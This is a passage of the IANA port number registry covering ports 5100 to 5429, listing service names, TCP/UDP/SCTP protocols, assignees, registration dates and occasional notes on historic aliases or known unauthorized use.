socalia 5100 tcp Socalia service mux [Alberto_Raydan_2] [Alberto_Raydan_2] 2005-08
socalia 5100 udp Socalia service mux [Alberto_Raydan_2] [Alberto_Raydan_2] 2005-08
talarian-tcp 5101 tcp Talarian_TCP [Leo_Martins] [Leo_Martins]
talarian-udp 5101 udp Talarian_UDP [Leo_Martins] [Leo_Martins]
oms-nonsecure 5102 tcp Oracle OMS non-secure [Todd_Guay] [Todd_Guay] 2005-08
oms-nonsecure 5102 udp Oracle OMS non-secure [Todd_Guay] [Todd_Guay] 2005-08
actifio-c2c 5103 tcp Actifio C2C [Ravi_Kollipara] [Ravi_Kollipara] 2010-06-18
5103 udp Reserved
5104 tcp Reserved
tinymessage 5104 udp TinyMessage [Josip_Medved] [Josip_Medved] 2010-10-20
5105 tcp Reserved
hughes-ap 5105 udp Hughes Association Protocol [Varun_Santosh] [Varun_Santosh] 2010-10-20
actifioudsagent 5106 tcp Actifio UDS Agent [Actifio] [Madhav_Mutalik] 2014-06-05
5106 udp Reserved
actifioreplic 5107 tcp Disk to Disk replication [Actifio] [Madhav_Mutalik] 2015-10-23
between Actifio Clusters
5107 udp Reserved
5108-5110 Unassigned
taep-as-svc 5111 tcp TAEP AS service [Liu_Changchun] [Liu_Changchun] 2008-11-05
taep-as-svc 5111 udp TAEP AS service [Liu_Changchun] [Liu_Changchun] 2008-11-05
pm-cmdsvr 5112 tcp PeerMe Msg Cmd Service [Marcos_Della] [Marcos_Della] 2005-08
pm-cmdsvr 5112 udp PeerMe Msg Cmd Service [Marcos_Della] [Marcos_Della] 2005-08
5113 Unassigned 2010-11-09
ev-services 5114 tcp Enterprise Vault Services [Richard_Jones_2] [Richard_Jones_2] 2009-05-26
5114 udp Reserved
autobuild 5115 tcp Symantec Autobuild Service [David_Warden] [David_Warden] 2008-11-17
5115 udp Reserved
5116 tcp Reserved
emb-proj-cmd 5116 udp EPSON Projecter Image [SEIKO_EPSON_4] [SEIKO_EPSON_4] 2008-11-17
Transfer
gradecam 5117 tcp GradeCam Image Processing [Robert_Porter] [Robert_Porter] 2009-09-24
5117 udp Reserved
5118-5119 Unassigned
barracuda-bbs 5120 tcp Barracuda Backup Protocol [Barracuda_Networks] [Andrew_Blyler] 2013-04-05
barracuda-bbs 5120 udp Barracuda Backup Protocol [Barracuda_Networks] [Andrew_Blyler] 2013-04-05
5121-5132 Unassigned
nbt-pc 5133 tcp Policy Commander [Emily_Harris] [Emily_Harris] 2004-11
nbt-pc 5133 udp Policy Commander [Emily_Harris] [Emily_Harris] 2004-11
ppactivation 5134 tcp PP ActivationServer [Ian_Bradley] [Ian_Bradley] 2009-10-14
5134 udp Reserved
Defined TXT keys:
erp-scale 5135 tcp ERP-Scale [Ian_Bradley] [Ian_Bradley] 2009-10-14 RFC=<RFC destination and status>
Device=<Scale device and status>
5135 udp Reserved
5136 tcp Reserved
minotaur-sa 5136 udp Minotaur SA [Kenneth_Flynn] [Kenneth_Flynn] 2009-10-14
ctsd 5137 tcp MyCTS server port [Jilles_Oldenbeuving] [Jilles_Oldenbeuving] 2002-06
ctsd 5137 udp MyCTS server port [Jilles_Oldenbeuving] [Jilles_Oldenbeuving] 2002-06
5138-5144 Unassigned
RMONITOR SECURE
rmonitor-secure 5145 tcp IANA assigned this [Kory_Hamzeh] [Kory_Hamzeh]
well-formed service name as
a replacement for
"rmonitor_secure".
This entry is an alias to "rmonitor-secure". This entry is
rmonitor_secure 5145 tcp RMONITOR SECURE [Kory_Hamzeh] [Kory_Hamzeh] now historic, not usable for use with many common service
discovery mechanisms.
RMONITOR SECURE
rmonitor-secure 5145 udp IANA assigned this [Kory_Hamzeh] [Kory_Hamzeh]
well-formed service name as
a replacement for
"rmonitor_secure".
This entry is an alias to "rmonitor-secure". This entry is
rmonitor_secure 5145 udp RMONITOR SECURE [Kory_Hamzeh] [Kory_Hamzeh] now historic, not usable for use with many common service
discovery mechanisms.
social-alarm 5146 tcp Social Alarm Service [Shaun_Byrne] [Shaun_Byrne] 2009-08-18
5146 udp Reserved
5147-5149 Unassigned
atmp 5150 tcp Ascend Tunnel Management [Kory_Hamzeh] [Kory_Hamzeh]
Protocol
atmp 5150 udp Ascend Tunnel Management [Kory_Hamzeh] [Kory_Hamzeh]
Protocol
ESRI SDE Instance
Unauthorized
esri-sde 5151 tcp IANA assigned this [Peter_Aronson] [Peter_Aronson] Use Known on
well-formed service name as ports 5151
a replacement for and 5152
"esri_sde".
This entry is an alias to "esri-sde". This entry is now
esri_sde 5151 tcp ESRI SDE Instance [Peter_Aronson] [Peter_Aronson] historic, not usable for use with many common service
discovery mechanisms.
ESRI SDE Remote Start
Unauthorized
esri-sde 5151 udp IANA assigned this [Peter_Aronson] [Peter_Aronson] Use Known on
well-formed service name as ports 5151
a replacement for and 5152
"esri_sde".
This entry is an alias to "esri-sde". This entry is now
esri_sde 5151 udp ESRI SDE Remote Start [Peter_Aronson] [Peter_Aronson] historic, not usable for use with many common service
discovery mechanisms.
Unauthorized
sde-discovery 5152 tcp ESRI SDE Instance Discovery [Peter_Aronson] [Peter_Aronson] Use Known on
ports 5151
and 5152
Unauthorized
sde-discovery 5152 udp ESRI SDE Instance Discovery [Peter_Aronson] [Peter_Aronson] Use Known on
ports 5151
and 5152
5153 tcp Reserved 2009-07-01 2018-04-19 Historic usage was toruxserver. De-Assigned on 2018-04-19
5153 udp Reserved
bzflag 5154 tcp BZFlag game server [Tim_Riker] [Tim_Riker] 2003-07
bzflag 5154 udp BZFlag game server [Tim_Riker] [Tim_Riker] 2003-07
asctrl-agent 5155 tcp Oracle asControl Agent [Todd_Guay] [Todd_Guay] 2005-08
asctrl-agent 5155 udp Oracle asControl Agent [Todd_Guay] [Todd_Guay] 2005-08
rugameonline 5156 tcp Russian Online Game [Andrey_Mohov] [Andrey_Mohov] 2010-08-17
5156 udp Reserved
mediat 5157 tcp Mediat Remote Object [Oliver_Anan] [Oliver_Anan] 2010-09-02
Exchange
5157 udp Reserved
5158-5160 Unassigned
snmpssh 5161 tcp SNMP over SSH Transport [RFC5592]
Model
5161 udp Reserved
Known
snmpssh-trap 5162 tcp SNMP Notification over SSH [RFC5592] Unauthorized
Transport Model Use on port
5162
Known
5162 udp Reserved Unauthorized
Use on port
5162
sbackup 5163 tcp Shadow Backup [Glenn_Allen] [Glenn_Allen] 2009-08-05
5163 udp Reserved
vpa 5164 tcp Virtual Protocol Adapter [Douglas_Goodall] [Douglas_Goodall] 2009-08-05
vpa-disc 5164 udp Virtual Protocol Adapter [Douglas_Goodall] [Douglas_Goodall] 2009-08-05
Discovery
ife_1corp
ife-icorp 5165 tcp IANA assigned this [Paul_Annala] [Paul_Annala]
well-formed service name as
a replacement for
"ife_icorp".
This entry is an alias to "ife-icorp". This entry is now
ife_icorp 5165 tcp ife_1corp [Paul_Annala] [Paul_Annala] historic, not usable for use with many common service
discovery mechanisms.
ife_1corp
ife-icorp 5165 udp IANA assigned this [Paul_Annala] [Paul_Annala]
well-formed service name as
a replacement for
"ife_icorp".
This entry is an alias to "ife-icorp". This entry is now
ife_icorp 5165 udp ife_1corp [Paul_Annala] [Paul_Annala] historic, not usable for use with many common service
discovery mechanisms.
winpcs 5166 tcp WinPCS Service Connection [Complan_Network_AS] [Complan_Network_AS] 2006-02
winpcs 5166 udp WinPCS Service Connection [Complan_Network_AS] [Complan_Network_AS] 2006-02
scte104 5167 tcp SCTE104 Connection [Thomas_Russell] [Thomas_Russell] 2005-05
scte104 5167 udp SCTE104 Connection [Thomas_Russell] [Thomas_Russell] 2005-05
scte30 5168 tcp SCTE30 Connection [Thomas_Russell] [Thomas_Russell] 2005-05
scte30 5168 udp SCTE30 Connection [Thomas_Russell] [Thomas_Russell] 2005-05
5169-5171 Unassigned
pcoip-mgmt 5172 tcp PC over IP Endpoint [Teradici_2] [Paul_Helter] 2014-04-28
Management
5172 udp Reserved
5173-5189 Unassigned
aol 5190 tcp America-Online [Marty_Lyons] [Marty_Lyons]
aol 5190 udp America-Online [Marty_Lyons] [Marty_Lyons]
aol-1 5191 tcp AmericaOnline1 [Bruce_Mackey] [Bruce_Mackey]
aol-1 5191 udp AmericaOnline1 [Bruce_Mackey] [Bruce_Mackey]
aol-2 5192 tcp AmericaOnline2 [Bruce_Mackey] [Bruce_Mackey]
aol-2 5192 udp AmericaOnline2 [Bruce_Mackey] [Bruce_Mackey]
aol-3 5193 tcp AmericaOnline3 [Bruce_Mackey] [Bruce_Mackey]
aol-3 5193 udp AmericaOnline3 [Bruce_Mackey] [Bruce_Mackey]
cpscomm 5194 tcp CipherPoint Config Service [CipherPoint] [CipherPoint] 2010-03-03
5194 udp Reserved
The protocol is used by a
license server and client
ampl-lic 5195 tcp programs to control use of [AMPL_Optimization] [David_M_Gay] 2012-05-25
program licenses that float
to networked machines
5195 udp Reserved
The protocol is used by two
ampl-tableproxy 5196 tcp programs that exchange [AMPL_Optimization] [David_M_Gay] 2012-05-25
"table" data used in the
AMPL modeling language
5196 udp Reserved
tunstall-lwp 5197 tcp Tunstall Lone worker device [Tunstall_Healthcare_UK_Ltd] [Robert_Moore] 2014-12-10
interface
5197 udp Reserved
5198-5199 Unassigned
targus-getdata 5200 tcp TARGUS GetData [John_Keaveney] [John_Keaveney]
targus-getdata 5200 udp TARGUS GetData [John_Keaveney] [John_Keaveney]
targus-getdata1 5201 tcp TARGUS GetData 1 [John_Keaveney] [John_Keaveney]
targus-getdata1 5201 udp TARGUS GetData 1 [John_Keaveney] [John_Keaveney]
targus-getdata2 5202 tcp TARGUS GetData 2 [John_Keaveney] [John_Keaveney]
targus-getdata2 5202 udp TARGUS GetData 2 [John_Keaveney] [John_Keaveney]
targus-getdata3 5203 tcp TARGUS GetData 3 [John_Keaveney] [John_Keaveney]
targus-getdata3 5203 udp TARGUS GetData 3 [John_Keaveney] [John_Keaveney]
5204-5208 Unassigned
nomad 5209 tcp Nomad Device Video Transfer [Morega_System] [Ashraf_Tahir] 2012-08-20
5209 udp Reserved
5210-5214 Unassigned
noteza 5215 tcp NOTEZA Data Safety Service [CNS_a.s.] [Pavel_Mendl_2] 2014-06-12
5215 udp Reserved
noteza 5215 sctp NOTEZA Data Safety Service [CNS_a.s.] [Pavel_Mendl_2] 2014-06-12
5216-5220 Unassigned
3exmp 5221 tcp 3eTI Extensible Management [Bill_Rettig] [Bill_Rettig] 2010-05-19
Protocol for OAMP
5221 udp Reserved
xmpp-client 5222 tcp XMPP Client Connection [RFC6120]
5222 udp Reserved
hpvirtgrp 5223 tcp HP Virtual Machine Group [John_Williams] [John_Williams] 2007-06
Management
hpvirtgrp 5223 udp HP Virtual Machine Group [John_Williams] [John_Williams] 2007-06
Management
hpvirtctrl 5224 tcp HP Virtual Machine Console [John_Williams] [John_Williams] 2007-06
Operations
hpvirtctrl 5224 udp HP Virtual Machine Console [John_Williams] [John_Williams] 2007-06
Operations
hp-server 5225 tcp HP Server [Brett_Green_2] [Brett_Green_2]
hp-server 5225 udp HP Server [Brett_Green_2] [Brett_Green_2]
hp-status 5226 tcp HP Status [Brett_Green_2] [Brett_Green_2]
hp-status 5226 udp HP Status [Brett_Green_2] [Brett_Green_2]
perfd 5227 tcp HP System Performance Metric [Chris_Bertin] [Chris_Bertin] 2009-05-19
Service
perfd 5227 udp HP System Performance Metric [Chris_Bertin] [Chris_Bertin] 2009-05-19
Service
hpvroom 5228 tcp HP Virtual Room Service [Scott_Levin] [Scott_Levin] 2009-03-19
5228 udp Reserved
Netflow/IPFIX/sFlow
jaxflow 5229 tcp Collector and Forwarder [JaxMP] [Stephen_Hull] 2014-08-15
Management
5229 udp Reserved
jaxflow-data 5230 tcp JaxMP RealFlow application [JaxMP] [Stephen_Hull] 2014-08-15
and protocol data
5230 udp Reserved
crusecontrol 5231 tcp Remote Control of Scan [Cruse_Spezialmaschinen_GmbH] [Christof_J._Reetz_2] 2014-08-15
Software for Cruse Scanners
5231 udp Reserved
csedaemon 5232 tcp Cruse Scanning System [Christof_J_Reetz] [Christof_J_Reetz] 2011-03-09
Service
5232 udp Reserved
enfs 5233 tcp Etinnae Network File Service [Chris_Peel] [Chris_Peel] 2011-03-09
5233 udp Reserved
eenet 5234 tcp EEnet communications [Helmut_Giritzer] [Helmut_Giritzer] 2005-11
eenet 5234 udp EEnet communications [Helmut_Giritzer] [Helmut_Giritzer] 2005-11
galaxy-network 5235 tcp Galaxy Network Service [Michael_Andre_2] [Michael_Andre_2] 2007-10-04
galaxy-network 5235 udp Galaxy Network Service [Michael_Andre_2] [Michael_Andre_2] 2007-10-04
padl2sim 5236 tcp
padl2sim 5236 udp
mnet-discovery 5237 tcp m-net discovery [Andy_Crick] [Andy_Crick] 2007-11-13
mnet-discovery 5237 udp m-net discovery [Andy_Crick] [Andy_Crick] 2007-11-13
5238-5244 Unassigned
downtools 5245 tcp DownTools Control Protocol [Jarrod_Sayers] [Jarrod_Sayers] 2009-04-07
downtools-disc 5245 udp DownTools Discovery Protocol [Jarrod_Sayers] [Jarrod_Sayers] 2009-04-07
5246 tcp Reserved
capwap-control 5246 udp CAPWAP Control Protocol [RFC5415]
5247 tcp Reserved
capwap-data 5247 udp CAPWAP Data Protocol [RFC5415]
caacws 5248 tcp CA Access Control Web [Gabriel_Kalmar] [Gabriel_Kalmar] 2008-03-06
Service
caacws 5248 udp CA Access Control Web [Gabriel_Kalmar] [Gabriel_Kalmar] 2008-03-06
Service
caaclang2 5249 tcp CA AC Lang Service [Gabriel_Kalmar] [Gabriel_Kalmar] 2008-02-19
caaclang2 5249 udp CA AC Lang Service [Gabriel_Kalmar] [Gabriel_Kalmar] 2008-02-19
soagateway 5250 tcp soaGateway [Greg_Bodine] [Greg_Bodine] 2002-02
soagateway 5250 udp soaGateway [Greg_Bodine] [Greg_Bodine] 2002-02
caevms 5251 tcp CA eTrust VM Service [Kevin_Bond] [Kevin_Bond] 2004-11
caevms 5251 udp CA eTrust VM Service [Kevin_Bond] [Kevin_Bond] 2004-11
movaz-ssc 5252 tcp Movaz SSC [Lou_Berger] [Lou_Berger] 2004-11
movaz-ssc 5252 udp Movaz SSC [Lou_Berger] [Lou_Berger] 2004-11
kpdp 5253 tcp Kohler Power Device Protocol [Bill_Gross] [Bill_Gross] 2010-11-01
5253 udp Reserved
logcabin 5254 tcp LogCabin storage service [Diego_Ongaro] [Diego_Ongaro] 2015-04-14
5254 udp Reserved
5255-5263 Unassigned
3com-njack-1 5264 tcp 3Com Network Jack Port 1 [Abhay_Rajaram] [Abhay_Rajaram] 2003-03
3com-njack-1 5264 udp 3Com Network Jack Port 1 [Abhay_Rajaram] [Abhay_Rajaram] 2003-03
3com-njack-2 5265 tcp 3Com Network Jack Port 2 [Abhay_Rajaram] [Abhay_Rajaram] 2003-03
3com-njack-2 5265 udp 3Com Network Jack Port 2 [Abhay_Rajaram] [Abhay_Rajaram] 2003-03
5266-5268 Unassigned
xmpp-server 5269 tcp XMPP Server Connection [RFC6120]
5269 udp Reserved
cartographerxmp 5270 tcp Cartographer XMP [Bobby_Krupczak_2] [Bobby_Krupczak_2] 2008-04-03 2011-08-31
cartographerxmp 5270 udp Cartographer XMP [Bobby_Krupczak_2] [Bobby_Krupczak_2] 2008-04-03 2011-08-31
cuelink 5271 tcp StageSoft CueLink messaging [Todd_Pichler] [Todd_Pichler] 2010-03-26
cuelink-disc 5271 udp StageSoft CueLink discovery [Todd_Pichler] [Todd_Pichler] 2010-03-26
pk 5272 tcp PK [Patrick_Kara] [Patrick_Kara]
pk 5272 udp PK [Patrick_Kara] [Patrick_Kara]
5273-5279 Unassigned
xmpp-bosh 5280 tcp Bidirectional-streams Over [Peter_Saint_Andre] [Peter_Saint_Andre] 2009-11-25
Synchronous HTTP (BOSH)
5280 udp Reserved
undo-lm 5281 tcp Undo License Manager [Julian_Smith] [Julian_Smith] 2010-04-19
5281 udp Reserved
transmit-port 5282 tcp Marimba Transmitter Port [Johan_Eriksson] [Johan_Eriksson] 2002-04
transmit-port 5282 udp Marimba Transmitter Port [Johan_Eriksson] [Johan_Eriksson] 2002-04
5283-5297 Unassigned
presence 5298 tcp XMPP Link-Local Messaging [Eric_St_Onge] [Eric_St_Onge] 2008-01-14 Defined TXT keys: See
http://www.xmpp.org/registrar/linklocal.html
presence 5298 udp XMPP Link-Local Messaging [Eric_St_Onge] [Eric_St_Onge] 2008-01-14 Defined TXT keys: See
http://www.xmpp.org/registrar/linklocal.html
nlg-data 5299 tcp NLG Data Service [Andy_Shellam] [Andy_Shellam] 2008-02-19
nlg-data 5299 udp NLG Data Service [Andy_Shellam] [Andy_Shellam] 2008-02-19
hacl-hb 5300 tcp HA cluster heartbeat [Eric_Soderberg_2][Edward_Yim] [Eric_Soderberg_2][Edward_Yim]
hacl-hb 5300 udp HA cluster heartbeat [Eric_Soderberg_2][Edward_Yim] [Eric_Soderberg_2][Edward_Yim]
hacl-gs 5301 tcp HA cluster general services [Eric_Soderberg_2][Edward_Yim] [Eric_Soderberg_2][Edward_Yim]
hacl-gs 5301 udp HA cluster general services [Eric_Soderberg_2][Edward_Yim] [Eric_Soderberg_2][Edward_Yim]
hacl-cfg 5302 tcp HA cluster configuration [Eric_Soderberg_2][Edward_Yim] [Eric_Soderberg_2][Edward_Yim]
hacl-cfg 5302 udp HA cluster configuration [Eric_Soderberg_2][Edward_Yim] [Eric_Soderberg_2][Edward_Yim]
hacl-probe 5303 tcp HA cluster probing [Eric_Soderberg_2][Edward_Yim] [Eric_Soderberg_2][Edward_Yim]
hacl-probe 5303 udp HA cluster probing [Eric_Soderberg_2][Edward_Yim] [Eric_Soderberg_2][Edward_Yim]
hacl-local 5304 tcp HA Cluster Commands [Eric_Soderberg_2][Edward_Yim] [Eric_Soderberg_2][Edward_Yim]
hacl-local 5304 udp HA Cluster Commands [Eric_Soderberg_2][Edward_Yim] [Eric_Soderberg_2][Edward_Yim]
hacl-test 5305 tcp HA Cluster Test [Eric_Soderberg_2][Edward_Yim] [Eric_Soderberg_2][Edward_Yim]
hacl-test 5305 udp HA Cluster Test [Eric_Soderberg_2][Edward_Yim] [Eric_Soderberg_2][Edward_Yim]
sun-mc-grp 5306 tcp Sun MC Group [Michael_DeMoney] [Michael_DeMoney]
sun-mc-grp 5306 udp Sun MC Group [Michael_DeMoney] [Michael_DeMoney]
sco-aip 5307 tcp SCO AIP [Barrie_Cooper] [Barrie_Cooper]
sco-aip 5307 udp SCO AIP [Barrie_Cooper] [Barrie_Cooper]
cfengine 5308 tcp CFengine [Mark_Burgess] [Mark_Burgess]
cfengine 5308 udp CFengine [Mark_Burgess] [Mark_Burgess]
jprinter 5309 tcp J Printer [Ken_Blackwell] [Ken_Blackwell]
jprinter 5309 udp J Printer [Ken_Blackwell] [Ken_Blackwell]
outlaws 5310 tcp Outlaws [Richard_Fife] [Richard_Fife]
outlaws 5310 udp Outlaws [Richard_Fife] [Richard_Fife]
5311 Unassigned 2004-05-07
permabit-cs 5312 tcp Permabit Client-Server [Jered_Floyd] [Jered_Floyd] 2004-06
permabit-cs 5312 udp Permabit Client-Server [Jered_Floyd] [Jered_Floyd] 2004-06
rrdp 5313 tcp Real-time & Reliable Data [Ted_Hoshi] [Ted_Hoshi] 2004-06
rrdp 5313 udp Real-time & Reliable Data [Ted_Hoshi] [Ted_Hoshi] 2004-06
opalis-rbt-ipc 5314 tcp opalis-rbt-ipc [Laurent_Domenech] [Laurent_Domenech]
opalis-rbt-ipc 5314 udp opalis-rbt-ipc [Laurent_Domenech] [Laurent_Domenech]
hacl-poll 5315 tcp HA Cluster UDP Polling [Hoa_Nguyen] [Hoa_Nguyen]
hacl-poll 5315 udp HA Cluster UDP Polling [Hoa_Nguyen] [Hoa_Nguyen]
hpbladems 5316 tcp HPBladeSystem Monitor [Alan_Minchew] [Alan_Minchew] 2011-05-23 2011-05-16
Service
5316 udp Unassigned 2011-05-16
hpdevms 5317 tcp HP Device Monitor Service [Alan_Minchew] [Alan_Minchew] 2011-05-16
5317 udp Reserved
pkix-cmc 5318 tcp PKIX Certificate Management [IESG] [IETF_Chair] [RFC6402]
using CMS (CMC)
5318 udp Reserved
5319 Unassigned
bsfserver-zn 5320 tcp Webservices-based Zn [Bert_Paul] [Bert_Paul] 2008-05-01
interface of BSF
5320 udp Reserved
bsfsvr-zn-ssl 5321 tcp Webservices-based Zn [Bert_Paul] [Bert_Paul] 2008-07-03
interface of BSF over SSL
5321 udp Reserved
5322-5342 Unassigned
kfserver 5343 tcp Sculptor Database Server [Keith_Ashman] [Keith_Ashman] 2005-12
kfserver 5343 udp Sculptor Database Server [Keith_Ashman] [Keith_Ashman] 2005-12
xkotodrcp 5344 tcp xkoto DRCP [Jeff_Heisz] [Jeff_Heisz] 2006-02
xkotodrcp 5344 udp xkoto DRCP [Jeff_Heisz] [Jeff_Heisz] 2006-02
5345-5348 Unassigned
stuns 5349 tcp STUN over TLS [RFC5389]
stuns 5349 udp STUN over DTLS [IESG] [IETF_Chair] 2014-07-03 [RFC7350] This service name was initially created by [RFC5389].
turns 5349 tcp TURN over TLS [RFC5766]
turns 5349 udp TURN over DTLS [IESG] [IETF_Chair] 2014-07-03 [RFC7350] This service name was initially created by [RFC5766].
stun-behaviors 5349 tcp STUN Behavior Discovery over [RFC5780]
TLS
stun-behaviors 5349 udp Reserved for a future [RFC5780]
enhancement of STUN-BEHAVIOR
5350 tcp Reserved
pcp-multicast 5350 udp Port Control Protocol [IESG] [IETF_Chair] [RFC6887]
Multicast
5351 tcp Reserved
pcp 5351 udp Port Control Protocol [IESG] [IETF_Chair] [RFC6887]
dns-llq 5352 tcp DNS Long-Lived Queries [Kiren_Sekar] [Kiren_Sekar] 2005-08
dns-llq 5352 udp DNS Long-Lived Queries [Kiren_Sekar] [Kiren_Sekar] 2005-08
mdns 5353 tcp Multicast DNS [IESG] [IETF_Chair] [RFC6762]
mdns 5353 udp Multicast DNS [IESG] [IETF_Chair] [RFC6762]
mdnsresponder 5354 tcp Multicast DNS Responder IPC [Stuart_Cheshire_3] [Stuart_Cheshire_3] 2004-06
mdnsresponder 5354 udp Multicast DNS Responder IPC [Stuart_Cheshire_3] [Stuart_Cheshire_3] 2004-06
llmnr 5355 tcp LLMNR [Bernard_Aboba] [Bernard_Aboba] 2004-06
llmnr 5355 udp LLMNR [Bernard_Aboba] [Bernard_Aboba] 2004-06
ms-smlbiz 5356 tcp Microsoft Small Business [Gopikrishna_Sandra] [Gopikrishna_Sandra] 2005-02
ms-smlbiz 5356 udp Microsoft Small Business [Gopikrishna_Sandra] [Gopikrishna_Sandra] 2005-02
wsdapi 5357 tcp Web Services for Devices [Henry_Rawas] [Henry_Rawas] 2005-08
wsdapi 5357 udp Web Services for Devices [Henry_Rawas] [Henry_Rawas] 2005-08
wsdapi-s 5358 tcp WS for Devices Secured [Henry_Rawas] [Henry_Rawas] 2005-08
wsdapi-s 5358 udp WS for Devices Secured [Henry_Rawas] [Henry_Rawas] 2005-08
ms-alerter 5359 tcp Microsoft Alerter [Marc_McClure] [Marc_McClure] 2007-08-07
ms-alerter 5359 udp Microsoft Alerter [Marc_McClure] [Marc_McClure] 2007-08-07
ms-sideshow 5360 tcp Protocol for Windows [Dan_Polivy] [Dan_Polivy] 2008-03-12
SideShow
ms-sideshow 5360 udp Protocol for Windows [Dan_Polivy] [Dan_Polivy] 2008-03-12
SideShow
ms-s-sideshow 5361 tcp Secure Protocol for Windows [Dan_Polivy] [Dan_Polivy] 2008-03-12
SideShow
ms-s-sideshow 5361 udp Secure Protocol for Windows [Dan_Polivy] [Dan_Polivy] 2008-03-12
SideShow
serverwsd2 5362 tcp Microsoft Windows Server [Erhan_Soyer_Osman] [Erhan_Soyer_Osman] 2008-03-26
WSD2 Service
serverwsd2 5362 udp Microsoft Windows Server [Erhan_Soyer_Osman] [Erhan_Soyer_Osman] 2008-03-26
WSD2 Service
net-projection 5363 tcp Windows Network Projection [Rob_Williams] [Rob_Williams] 2009-02-17
net-projection 5363 udp Windows Network Projection [Rob_Williams] [Rob_Williams] 2009-02-17
kdnet 5364 udp Microsoft Kernel Debugger [Microsoft_Corporation_4] [Joe_Ballantyne] 2013-06-16
5364 tcp Reserved
5365-5396 Unassigned
stresstester 5397 tcp StressTester(tm) Injector [Graham_Parsons] [Graham_Parsons] 2005-08
stresstester 5397 udp StressTester(tm) Injector [Graham_Parsons] [Graham_Parsons] 2005-08
elektron-admin 5398 tcp Elektron Administration [Chris_Hawk] [Chris_Hawk] 2005-08
elektron-admin 5398 udp Elektron Administration [Chris_Hawk] [Chris_Hawk] 2005-08
securitychase 5399 tcp SecurityChase [Daisuke_Shinomiya] [Daisuke_Shinomiya] 2005-08
securitychase 5399 udp SecurityChase [Daisuke_Shinomiya] [Daisuke_Shinomiya] 2005-08
excerpt 5400 tcp Excerpt Search [John_Hinsdale] [John_Hinsdale]
excerpt 5400 udp Excerpt Search [John_Hinsdale] [John_Hinsdale]
excerpts 5401 tcp Excerpt Search Secure [John_Hinsdale] [John_Hinsdale]
excerpts 5401 udp Excerpt Search Secure [John_Hinsdale] [John_Hinsdale]
mftp 5402 tcp OmniCast MFTP [Steve_Bannister] [Steve_Bannister]
mftp 5402 udp OmniCast MFTP [Steve_Bannister] [Steve_Bannister]
hpoms-ci-lstn 5403 tcp HPOMS-CI-LSTN [Harold_Froehling] [Harold_Froehling]
hpoms-ci-lstn 5403 udp HPOMS-CI-LSTN [Harold_Froehling] [Harold_Froehling]
hpoms-dps-lstn 5404 tcp HPOMS-DPS-LSTN [Harold_Froehling] [Harold_Froehling]
hpoms-dps-lstn 5404 udp HPOMS-DPS-LSTN [Harold_Froehling] [Harold_Froehling]
netsupport 5405 tcp NetSupport [Paul_Sanders_2] [Paul_Sanders_2]
netsupport 5405 udp NetSupport [Paul_Sanders_2] [Paul_Sanders_2]
systemics-sox 5406 tcp Systemics Sox [Gary_Howland] [Gary_Howland]
systemics-sox 5406 udp Systemics Sox [Gary_Howland] [Gary_Howland]
foresyte-clear 5407 tcp Foresyte-Clear [Jorge_Aldana] [Jorge_Aldana]
foresyte-clear 5407 udp Foresyte-Clear [Jorge_Aldana] [Jorge_Aldana]
foresyte-sec 5408 tcp Foresyte-Sec [Jorge_Aldana] [Jorge_Aldana]
foresyte-sec 5408 udp Foresyte-Sec [Jorge_Aldana] [Jorge_Aldana]
salient-dtasrv 5409 tcp Salient Data Server [Richard_Farnham] [Richard_Farnham]
salient-dtasrv 5409 udp Salient Data Server [Richard_Farnham] [Richard_Farnham]
salient-usrmgr 5410 tcp Salient User Manager [Richard_Farnham] [Richard_Farnham]
salient-usrmgr 5410 udp Salient User Manager [Richard_Farnham] [Richard_Farnham]
actnet 5411 tcp ActNet [Simon_Robillard] [Simon_Robillard]
actnet 5411 udp ActNet [Simon_Robillard] [Simon_Robillard]
continuus 5412 tcp Continuus [Steven_Holtsberg] [Steven_Holtsberg]
continuus 5412 udp Continuus [Steven_Holtsberg] [Steven_Holtsberg]
wwiotalk 5413 tcp WWIOTALK [Roger_Knobbe] [Roger_Knobbe]
wwiotalk 5413 udp WWIOTALK [Roger_Knobbe] [Roger_Knobbe]
statusd 5414 tcp StatusD [Stephen_Misel_2] [Stephen_Misel_2]
statusd 5414 udp StatusD [Stephen_Misel_2] [Stephen_Misel_2]
ns-server 5415 tcp NS Server [Jeffrey_Chiao] [Jeffrey_Chiao]
ns-server 5415 udp NS Server [Jeffrey_Chiao] [Jeffrey_Chiao]
sns-gateway 5416 tcp SNS Gateway [Mary_Holstage] [Mary_Holstage]
sns-gateway 5416 udp SNS Gateway [Mary_Holstage] [Mary_Holstage]
sns-agent 5417 tcp SNS Agent [Mary_Holstage] [Mary_Holstage]
sns-agent 5417 udp SNS Agent [Mary_Holstage] [Mary_Holstage]
mcntp 5418 tcp MCNTP [Heiko_Rupp] [Heiko_Rupp]
mcntp 5418 udp MCNTP [Heiko_Rupp] [Heiko_Rupp]
dj-ice 5419 tcp DJ-ICE [Don_Tyson_2] [Don_Tyson_2]
dj-ice 5419 udp DJ-ICE [Don_Tyson_2] [Don_Tyson_2]
cylink-c 5420 tcp Cylink-C [John_Jobe] [John_Jobe]
cylink-c 5420 udp Cylink-C [John_Jobe] [John_Jobe]
netsupport2 5421 tcp Net Support 2 [Paul_Sanders] [Paul_Sanders]
netsupport2 5421 udp Net Support 2 [Paul_Sanders] [Paul_Sanders]
salient-mux 5422 tcp Salient MUX [Richard_Farnham] [Richard_Farnham]
salient-mux 5422 udp Salient MUX [Richard_Farnham] [Richard_Farnham]
virtualuser 5423 tcp VIRTUALUSER [Chad_Williams] [Chad_Williams]
virtualuser 5423 udp VIRTUALUSER [Chad_Williams] [Chad_Williams]
beyond-remote 5424 tcp Beyond Remote [Michael_Berg] [Michael_Berg] 2004-11
beyond-remote 5424 udp Beyond Remote [Michael_Berg] [Michael_Berg] 2004-11
br-channel 5425 tcp Beyond Remote Command [Michael_Berg] [Michael_Berg] 2005-08
Channel
br-channel 5425 udp Beyond Remote Command [Michael_Berg] [Michael_Berg] 2005-08
Channel
devbasic 5426 tcp DEVBASIC [Curtis_Smith] [Curtis_Smith]
devbasic 5426 udp DEVBASIC [Curtis_Smith] [Curtis_Smith]
sco-peer-tta 5427 tcp SCO-PEER-TTA [Andrew_Shire] [Andrew_Shire]
sco-peer-tta 5427 udp SCO-PEER-TTA [Andrew_Shire] [Andrew_Shire]
telaconsole 5428 tcp TELACONSOLE [Joseph_M_Newcomer] [Joseph_M_Newcomer]
telaconsole 5428 udp TELACONSOLE [Joseph_M_Newcomer] [Joseph_M_Newcomer]
base 5429 tcp Billing and Accounting [Odo_Maletzki] [Odo_Maletzki]
System Exchange
base 5429 udp Billing and Accounting [Odo_Maletzki] [Odo_Maletzki]
System Exchange
